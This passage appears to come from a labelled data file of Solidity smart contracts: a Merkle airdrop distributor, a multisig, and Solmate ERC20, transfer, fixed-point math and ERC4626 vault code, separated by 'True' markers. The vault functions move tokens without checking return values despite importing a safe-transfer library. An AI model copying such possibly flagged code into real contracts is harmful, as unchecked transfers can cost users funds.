computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// File @openzeppelin/contracts/math/[email protected]
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File contracts/interfaces/IMerkleDistributor.sol
pragma solidity >=0.5.0;
// Allows anyone to claim a token if they exist in a merkle root.
interface IMerkleDistributor {
// Returns the address of the token distributed by this contract.
function token() external view returns (address);
// Returns the merkle root of the merkle tree containing account balances available to claim.
function merkleRoot() external view returns (bytes32);
// Returns true if the index has been marked claimed.
function isClaimed(uint256 index) external view returns (bool);
// Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
// This event is triggered whenever a call to #claim succeeds.
event Claimed(uint256 index, address account, uint256 amount);
}
// File contracts/DrOpium.sol
pragma solidity =0.6.11;
contract DrOpium is IMerkleDistributor {
using SafeMath for uint256;
address public immutable override token;
bytes32 public immutable override merkleRoot;
// This is a packed array of booleans.
mapping(uint256 => uint256) private claimedBitMap;
// DrOpium
uint256 public constant MAX_BONUS = 0.5e18;
uint256 public constant PERCENTAGE_BASE = 1e18;
uint256 public totalClaims;
uint256 public initialPoolSize;
uint256 public currentPoolSize;
uint256 public bonusSum;
uint256 public claimed;
uint256 public percentageIndex;
uint256 public bonusStart;
uint256 public bonusEnd;
uint256 public emergencyTimeout;
address public deployer;
constructor(address token_, bytes32 merkleRoot_, uint256 _totalClaims, uint256 _initialPoolSize, uint256 _bonusStart, uint256 _bonusEnd, uint256 _emergencyTimeout, address _deployer) public {
token = token_;
merkleRoot = merkleRoot_;
// DrOpium
totalClaims = _totalClaims;
initialPoolSize = _initialPoolSize;
currentPoolSize = _initialPoolSize;
percentageIndex = PERCENTAGE_BASE;
bonusStart = _bonusStart;
bonusEnd = _bonusEnd;
emergencyTimeout = _emergencyTimeout;
deployer = _deployer;
require(bonusStart < bonusEnd, "WRONG_BONUS_TIME");
require(emergencyTimeout > bonusEnd, "WRONG_EMERGENCY_TIMEOUT");
}
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override {
require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');
require(msg.sender == account, 'Only owner can claim');
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');
// Mark it claimed and send the token.
_setClaimed(index);
uint256 adjustedAmount = _applyAdjustment(amount);
require(IERC20(token).transfer(account, adjustedAmount), 'MerkleDistributor: Transfer failed.');
emit Claimed(index, account, adjustedAmount);
}
function getBonus() public view returns (uint256) {
// timeRemaining = bonusEnd - now, or 0 if bonus ended
uint256 timeRemaining = now > bonusEnd ? 0 : bonusEnd.sub(now);
// bonus = maxBonus * timeRemaining / (bonusEnd - bonusStart)
return MAX_BONUS.mul(timeRemaining).div(bonusEnd.sub(bonusStart));
}
function calculateAdjustedAmount(uint256 amount) public view returns (uint256 adjustedAmount, uint256 bonus, uint256 bonusPart) {
// If last claims, return full amount + full bonus
if (claimed + 1 == totalClaims) {
return (amount.add(bonusSum), 0, 0);
}
// adjustedPercentage = amount / initialPoolSize * percentageIndex
uint256 adjustedPercentage = amount.mul(PERCENTAGE_BASE).div(initialPoolSize).mul(percentageIndex).div(PERCENTAGE_BASE);
// bonusPart = adjustedPercentage * bonusSum
bonusPart = adjustedPercentage.mul(bonusSum).div(PERCENTAGE_BASE);
// totalToClaim = amount + bonusPart
uint256 totalToClaim = amount.add(bonusPart);
// bonus = totalToClaim * getBonus()
bonus = totalToClaim.mul(getBonus()).div(PERCENTAGE_BASE);
// adjustedAmount = totalToClaim - bonus
adjustedAmount = totalToClaim.sub(bonus);
}
function _applyAdjustment(uint256 amount) private returns (uint256) {
(uint256 adjustedAmount, uint256 bonus, uint256 bonusPart) = calculateAdjustedAmount(amount);
// Increment claim index
claimed += 1;
// If last claims, return full amount, don't update anything
if (claimed == totalClaims) {
return adjustedAmount;
}
// newPoolSize = currentPoolSize - amount
uint256 newPoolSize = currentPoolSize.sub(amount);
// percentageIndex = percentageIndex * currentPoolSize / newPoolSize
percentageIndex = percentageIndex.mul(currentPoolSize.mul(PERCENTAGE_BASE).div(newPoolSize)).div(PERCENTAGE_BASE);
// currentPoolSize = newPoolSize
currentPoolSize = newPoolSize;
// bonusSum = bonusSum - bonusPart + bonus
bonusSum = bonusSum.sub(bonusPart).add(bonus);
return adjustedAmount;
}
function emergencyWithdrawal() public {
require(now > emergencyTimeout, 'TIMEOUT_NOT_EXPIRED');
IERC20(token).transfer(deployer, IERC20(token).balanceOf(address(this)));
}
} | True | [
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pragma solidity 0.8.10;
/**
* @title Multisig
* @author 0age (derived from Christian Lundkvist's Simple Multisig)
* @notice This contract is a multisig based on Christian Lundkvist's Simple
* Multisig (found at https://github.com/christianlundkvist/simple-multisig).
* Any changes in destination, ownership, or signature threshold will require
* deploying a new multisig.
*/
contract Multisig {
// Maintain a mapping of used hashes to prevent replays.
mapping(bytes32 => bool) private _usedHashes;
// Maintain a mapping and a convenience array of owners.
mapping(address => bool) private _isOwner;
address[] private _owners;
// The destination is the only account the multisig can call.
address private immutable _DESTINATION;
// The threshold is an exact number of valid signatures that must be supplied.
uint256 private immutable _THRESHOLD;
// Note: Owners must be strictly increasing in order to prevent duplicates.
constructor(address destination, uint256 threshold, address[] memory owners) {
require(destination != address(0), "No destination address supplied.");
_DESTINATION = destination;
require(threshold > 0 && threshold <= 10, "Invalid threshold supplied.");
_THRESHOLD = threshold;
require(owners.length <= 10, "Cannot have more than 10 owners.");
require(threshold <= owners.length, "Threshold cannot exceed total owners.");
address lastAddress = address(0);
for (uint256 i = 0; i < owners.length; i++) {
require(
owners[i] > lastAddress, "Owner addresses must be strictly increasing."
);
_isOwner[owners[i]] = true;
lastAddress = owners[i];
}
_owners = owners;
}
function getHash(
bytes calldata data,
address executor,
uint256 gasLimit,
bytes32 salt
) external view returns (bytes32 hash, bool usable) {
(hash, usable) = _getHash(data, executor, gasLimit, salt);
}
function getOwners() external view returns (address[] memory owners) {
owners = _owners;
}
function isOwner(address account) external view returns (bool owner) {
owner = _isOwner[account];
}
function getThreshold() external view returns (uint256 threshold) {
threshold = _THRESHOLD;
}
function getDestination() external view returns (address destination) {
destination = _DESTINATION;
}
// Note: addresses recovered from signatures must be strictly increasing.
function execute(
bytes calldata data,
address executor,
uint256 gasLimit,
bytes32 salt,
bytes calldata signatures
) external returns (bool success, bytes memory returnData) {
require(
executor == msg.sender || executor == address(0),
"Must call from the executor account if one is specified."
);
// Derive the message hash and ensure that it has not been used before.
(bytes32 rawHash, bool usable) = _getHash(data, executor, gasLimit, salt);
require(usable, "Hash in question has already been used previously.");
// wrap the derived message hash as an eth signed messsage hash.
bytes32 hash = _toEthSignedMessageHash(rawHash);
// Recover each signer from provided signatures and ensure threshold is met.
address[] memory signers = _recoverGroup(hash, signatures);
require(signers.length == _THRESHOLD, "Total signers must equal threshold.");
// Verify that each signatory is an owner and is strictly increasing.
address lastAddress = address(0); // cannot have address(0) as an owner
for (uint256 i = 0; i < signers.length; i++) {
require(
_isOwner[signers[i]], "Signature does not correspond to an owner."
);
require(
signers[i] > lastAddress, "Signer addresses must be strictly increasing."
);
lastAddress = signers[i];
}
// Add the hash to the mapping of used hashes and execute the transaction.
_usedHashes[rawHash] = true;
(success, returnData) = _DESTINATION.call{gas:gasLimit}(data);
}
function _getHash(
bytes memory data,
address executor,
uint256 gasLimit,
bytes32 salt
) internal view returns (bytes32 hash, bool usable) {
// Prevent replays across different chains.
uint256 chainId;
assembly {
chainId := chainid()
}
// Note: this is the data used to create a personal signed message hash.
hash = keccak256(
abi.encodePacked(address(this), chainId, salt, executor, gasLimit, data)
);
usable = !_usedHashes[hash];
}
/**
* @dev Returns each address that signed a hashed message (`hash`) from a
* collection of `signatures`.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* NOTE: This call _does not revert_ if a signature is invalid, or if the
* signer is otherwise unable to be retrieved. In those scenarios, the zero
* address is returned for that signature.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that recover
* to arbitrary addresses for non-hashed data.
*/
function _recoverGroup(
bytes32 hash,
bytes memory signatures
) internal pure returns (address[] memory signers) {
// Ensure that the signatures length is a multiple of 65.
if (signatures.length % 65 != 0) {
return new address[](0);
}
// Create an appropriately-sized array of addresses for each signer.
signers = new address[](signatures.length / 65);
// Get each signature location and divide into r, s and v variables.
bytes32 signatureLocation;
bytes32 r;
bytes32 s;
uint8 v;
for (uint256 i = 0; i < signers.length; i++) {
assembly {
signatureLocation := add(signatures, mul(i, 65))
r := mload(add(signatureLocation, 32))
s := mload(add(signatureLocation, 64))
v := byte(0, mload(add(signatureLocation, 96)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove
// this possibility and make the signature unique.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
continue;
}
if (v != 27 && v != 28) {
continue;
}
// If signature is valid & not malleable, add signer address.
signers[i] = ecrecover(hash, v, r, s);
}
}
function _toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
} | True | [
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// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)
/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)
/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
/// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller.
library SafeTransferLib {
/*///////////////////////////////////////////////////////////////
ETH OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// Transfer the ETH and store if it succeeded or not.
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
require(callStatus, "ETH_TRANSFER_FAILED");
}
/*///////////////////////////////////////////////////////////////
ERC20 OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument.
mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 100 because the calldata length is 4 + 32 * 3.
callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED");
}
function safeTransfer(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED");
}
function safeApprove(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED");
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {
assembly {
// Get how many bytes the call returned.
let returnDataSize := returndatasize()
// If the call reverted:
if iszero(callStatus) {
// Copy the revert message into memory.
returndatacopy(0, 0, returnDataSize)
// Revert with the same message.
revert(0, returnDataSize)
}
switch returnDataSize
case 32 {
// Copy the return data into memory.
returndatacopy(0, 0, returnDataSize)
// Set success to whether it returned true.
success := iszero(iszero(mload(0)))
}
case 0 {
// There was no return data.
success := 1
}
default {
// It returned some malformed output.
success := 0
}
}
}
}
/// @notice Arithmetic library with operations for fixed-point numbers.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol)
/// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol)
library FixedPointMathLib {
/*///////////////////////////////////////////////////////////////
SIMPLIFIED FIXED POINT OPERATIONS
//////////////////////////////////////////////////////////////*/
uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s.
function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down.
}
function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up.
}
function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down.
}
function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up.
}
/*///////////////////////////////////////////////////////////////
LOW LEVEL FIXED POINT OPERATIONS
//////////////////////////////////////////////////////////////*/
function mulDivDown(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y))
if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) {
revert(0, 0)
}
// Divide z by the denominator.
z := div(z, denominator)
}
}
function mulDivUp(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y))
if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) {
revert(0, 0)
}
// First, divide z - 1 by the denominator and add 1.
// We allow z - 1 to underflow if z is 0, because we multiply the
// end result by 0 if z is zero, ensuring we return 0 if z is zero.
z := mul(iszero(iszero(z)), add(div(sub(z, 1), denominator), 1))
}
}
function rpow(
uint256 x,
uint256 n,
uint256 scalar
) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 {
// 0 ** 0 = 1
z := scalar
}
default {
// 0 ** n = 0
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
// If n is even, store scalar in z for now.
z := scalar
}
default {
// If n is odd, store x in z for now.
z := x
}
// Shifting right by 1 is like dividing by 2.
let half := shr(1, scalar)
for {
// Shift n right by 1 before looping to halve it.
n := shr(1, n)
} n {
// Shift n right by 1 each iteration to halve it.
n := shr(1, n)
} {
// Revert immediately if x ** 2 would overflow.
// Equivalent to iszero(eq(div(xx, x), x)) here.
if shr(128, x) {
revert(0, 0)
}
// Store x squared.
let xx := mul(x, x)
// Round to the nearest number.
let xxRound := add(xx, half)
// Revert if xx + half overflowed.
if lt(xxRound, xx) {
revert(0, 0)
}
// Set x to scaled xxRound.
x := div(xxRound, scalar)
// If n is even:
if mod(n, 2) {
// Compute z * x.
let zx := mul(z, x)
// If z * x overflowed:
if iszero(eq(div(zx, x), z)) {
// Revert if x is non-zero.
if iszero(iszero(x)) {
revert(0, 0)
}
}
// Round to the nearest number.
let zxRound := add(zx, half)
// Revert if zx + half overflowed.
if lt(zxRound, zx) {
revert(0, 0)
}
// Return properly scaled zxRound.
z := div(zxRound, scalar)
}
}
}
}
}
/*///////////////////////////////////////////////////////////////
GENERAL NUMBER UTILITIES
//////////////////////////////////////////////////////////////*/
function sqrt(uint256 x) internal pure returns (uint256 z) {
assembly {
// Start off with z at 1.
z := 1
// Used below to help find a nearby power of 2.
let y := x
// Find the lowest power of 2 that is at least sqrt(x).
if iszero(lt(y, 0x100000000000000000000000000000000)) {
y := shr(128, y) // Like dividing by 2 ** 128.
z := shl(64, z)
}
if iszero(lt(y, 0x10000000000000000)) {
y := shr(64, y) // Like dividing by 2 ** 64.
z := shl(32, z)
}
if iszero(lt(y, 0x100000000)) {
y := shr(32, y) // Like dividing by 2 ** 32.
z := shl(16, z)
}
if iszero(lt(y, 0x10000)) {
y := shr(16, y) // Like dividing by 2 ** 16.
z := shl(8, z)
}
if iszero(lt(y, 0x100)) {
y := shr(8, y) // Like dividing by 2 ** 8.
z := shl(4, z)
}
if iszero(lt(y, 0x10)) {
y := shr(4, y) // Like dividing by 2 ** 4.
z := shl(2, z)
}
if iszero(lt(y, 0x8)) {
// Equivalent to 2 ** z.
z := shl(1, z)
}
// Shifting right by 1 is like dividing by 2.
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
// Compute a rounded down version of z.
let zRoundDown := div(x, z)
// If zRoundDown is smaller, use it.
if lt(zRoundDown, z) {
z := zRoundDown
}
}
}
}
/// @notice Minimal ERC4646 tokenized Vault implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol)
/// @dev Do not use in production! ERC-4626 is still in the review stage and is subject to change.
abstract contract ERC4626 is ERC20 {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Deposit(address indexed from, address indexed to, uint256 amount, uint256 shares);
event Withdraw(address indexed from, address indexed to, uint256 amount, uint256 shares);
/*///////////////////////////////////////////////////////////////
IMMUTABLES
//////////////////////////////////////////////////////////////*/
ERC20 public immutable asset;
uint256 internal immutable ONE;
constructor(
ERC20 _asset,
string memory _name,
string memory _symbol
) ERC20(_name, _symbol, _asset.decimals()) {
asset = _asset;
unchecked {
ONE = 10**decimals; // >77 decimals is unlikely.
}
}
/*///////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LOGIC
//////////////////////////////////////////////////////////////*/
function deposit(uint256 amount, address to) public virtual returns (uint256 shares) {
// Check for rounding error since we round down in previewDeposit.
require((shares = previewDeposit(amount)) != 0, "ZERO_SHARES");
// Need to transfer before minting or ERC777s could reenter.
asset.transferFrom(msg.sender, address(this), amount);
_mint(to, shares);
emit Deposit(msg.sender, to, amount, shares);
afterDeposit(amount, shares);
}
function mint(uint256 shares, address to) public virtual returns (uint256 amount) {
amount = previewMint(shares); // No need to check for rounding error, previewMint rounds up.
// Need to transfer before minting or ERC777s could reenter.
asset.transferFrom(msg.sender, address(this), amount);
_mint(to, shares);
emit Deposit(msg.sender, to, amount, shares);
afterDeposit(amount, shares);
}
function withdraw(
uint256 amount,
address to,
address from
) public virtual returns (uint256 shares) {
shares = previewWithdraw(amount); // No need to check for rounding error, previewWithdraw rounds up.
if (msg.sender != from) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - shares;
}
beforeWithdraw(amount, shares);
_burn(from, shares);
emit Withdraw(from, to, amount, shares);
asset.transfer(to, amount);
}
function redeem(
uint256 shares,
address to,
address from
) public virtual returns (uint256 amount) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (msg.sender != from && allowed != type(uint256).max) allowance[from][msg.sender] = allowed - shares;
// Check for rounding error since we round down in previewRedeem.
require((amount = previewRedeem(shares)) != 0, "ZERO_ASSETS");
beforeWithdraw(amount, shares);
_burn(from, shares);
emit Withdraw(from, to, amount, shares);
asset.transfer(to, amount);
}
/*///////////////////////////////////////////////////////////////
ACCOUNTING LOGIC
//////////////////////////////////////////////////////////////*/
function totalAssets() public view virtual returns (uint256);
function assetsOf(address user) public view virtual returns (uint256) {
return previewRedeem(balanceOf[user]);
}
function assetsPerShare() public view virtual returns (uint256) {
return previewRedeem(ONE);
}
function previewDeposit(uint256 amount) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
